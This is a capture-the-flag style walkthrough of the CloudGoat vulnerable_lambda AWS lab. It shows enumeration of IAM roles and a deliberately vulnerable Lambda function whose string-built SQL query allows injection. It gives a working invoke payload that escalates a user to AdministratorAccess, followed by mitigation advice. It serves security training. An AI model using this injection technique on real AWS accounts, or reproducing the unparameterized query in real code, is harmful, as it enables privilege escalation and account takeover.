CloudGoat-Vulnerable_Lambda

CloudGoat Vulnerable Lambda Walkthrough

This walkthrough demonstrates how to exploit the CloudGoat vulnerable_lambda scenario using CloudTap for AWS enumeration and privilege escalation. The scenario involves exploiting an SQL injection vulnerability in a Lambda function to gain Administrator access. This CloudGoat walkthrough showcases common AWS security misconfigurations and demonstrates how tools like CloudTap can streamline the AWS penetration testing process.

CloudTap is a powerful AWS enumeration tool that automates credential testing, permission discovery, and role assumption, making it invaluable for AWS security assessments and CloudGoat scenarios.

Initial Setup

First, we need to whitelist our IP address and create the vulnerable Lambda environment:

1
cloudgoat config whitelist --auto
1
cloudgoat create vulnerable_lambda

The command returns initial credentials:

1
2
3
4
[cloudgoat] terraform output completed with no error code.
cloudgoat_output_aws_account_id = [REDACTED]
cloudgoat_output_bilbo_access_key_id = [REDACTED]
cloudgoat_output_bilbo_secret_key = [REDACTED]

Enumeration with CloudTap

Configure AWS credentials and use CloudTap to enumerate permissions:

1
aws configure --profile init
1
python3 CloudTap.py --keys init

Initial Findings

CloudTap reveals several key findings:

  1. Inline Policy Discovery: The user has an inline policy allowing role assumption for lambda-invoker
    Inline Policy

  2. Assumed Role Policy: The lambda-invoker role has specific permissions for Lambda function operations
    Assumed Role Policy

  3. Policy Applier Role: Another role exists that can attach user policies to the bilbo user
    Policy Applier

The policy_applier role has the following key permission:

  • Effect: Allow
  • Action: iam:AttachUserPolicy
  • Resource: Specific to the cg-bilbo-cgidsyjs1yck26 user

Lambda Function Analysis

Set up the secondary credentials (remember to include the aws_session_token) and run CloudTap again:

1
python3 CloudTap.py --keys sec

Function Found

CloudTap automatically downloads any Lambda functions it discovers. The main function code reveals:

Lambda Function Code Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import boto3
from sqlite_utils import Database

db = Database("my_database.db")
iam_client = boto3.client('iam')

def handler(event, context):
target_policys = event['policy_names']
user_name = event['user_name']
print(f"target policys are : {target_policys}")

for policy in target_policys:
statement_returns_valid_policy = False
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
for row in db.query(statement):
statement_returns_valid_policy = True
print(f"applying {row['policy_name']} to {user_name}")
response = iam_client.attach_user_policy(
UserName=user_name,
PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
)
print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

if not statement_returns_valid_policy:
invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
f"policies and don't cheat. :) "
print(invalid_policy_statement)
return invalid_policy_statement

return "All managed policies were applied as expected."

Database Analysis

The SQLite database contains policy information:
Database File

Notice that AdministratorAccess is set to False in the public column, preventing legitimate access to this high-privilege policy.

SQL Injection Exploitation

Vulnerability Analysis

The Lambda function contains a critical SQL injection vulnerability in this line:

1
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"

This unparameterized query can be exploited to bypass the public='True' condition.

Exploit Execution

1
2
3
4
5
6
7
aws lambda invoke \               
--function-name cgidsyjs1yck26-policy_applier_lambda1 \
--cli-binary-format raw-in-base64-out \
--payload '{"policy_names": ["'\'' OR policy_name='\''AdministratorAccess'\'' -- "], "user_name": "cg-bilbo-cgidsyjs1yck26"}' \
--region us-east-1 \
--profile sec \
output.json

Injection Explanation

The malicious payload transforms the SQL query to:

1
select policy_name from policies where policy_name='' OR policy_name='AdministratorAccess' -- ' and public='True'
  • The -- operator comments out the rest of the query
  • The condition becomes: policy_name = '' OR policy_name = 'AdministratorAccess'
  • This bypasses the public='True' restriction

Privilege Escalation Success

Running CloudTap again reveals the successful privilege escalation:
Admin Access

The AdministratorAccess policy is now attached to the initial user!

Flag Retrieval

With Administrator access, we can retrieve the final flag from AWS Secrets Manager:
Final Flag

SQL Injection Mitigation

  1. Use Parameterized Queries: Replace string concatenation with parameterized queries

    1
    2
    3
    4
    5
    # Vulnerable code
    statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"

    # Secure code
    cursor.execute("SELECT policy_name FROM policies WHERE policy_name = ? AND public = 'True'", (policy,))
  2. Input Validation: Implement strict input validation

    1
    2
    3
    4
    5
    6
    7
    import re

    def validate_policy_name(policy_name):
    # Only allow alphanumeric characters, hyphens, and underscores
    if not re.match(r'^[a-zA-Z0-9_-]+$', policy_name):
    raise ValueError("Invalid policy name format")
    return policy_name
  3. Use ORM: Consider using an ORM like SQLAlchemy that provides built-in protection

    1
    2
    3
    4
    5
    6
    7
    from sqlalchemy import text

    # Secure parameterized query
    result = session.execute(
    text("SELECT policy_name FROM policies WHERE policy_name = :policy AND public = 'True'"),
    {"policy": policy}
    )
  4. Principle of Least Privilege: Limit Lambda execution role permissions to only what’s necessary

  5. Code Review: Implement mandatory security code reviews for all Lambda functions

Conclusion

This CloudGoat walkthrough demonstrates how SQL injection vulnerabilities in Lambda functions can lead to complete AWS account compromise. The scenario highlights the importance of:

  • Secure coding practices in serverless environments
  • Proper input validation and parameterized queries
  • Regular security assessments using tools like CloudTap
  • Implementing the principle of least privilege

CloudTap proved invaluable in this assessment by automating the enumeration process, discovering permissions, and automatically assuming roles, significantly speeding up the penetration testing workflow for this CloudGoat lambda scenario.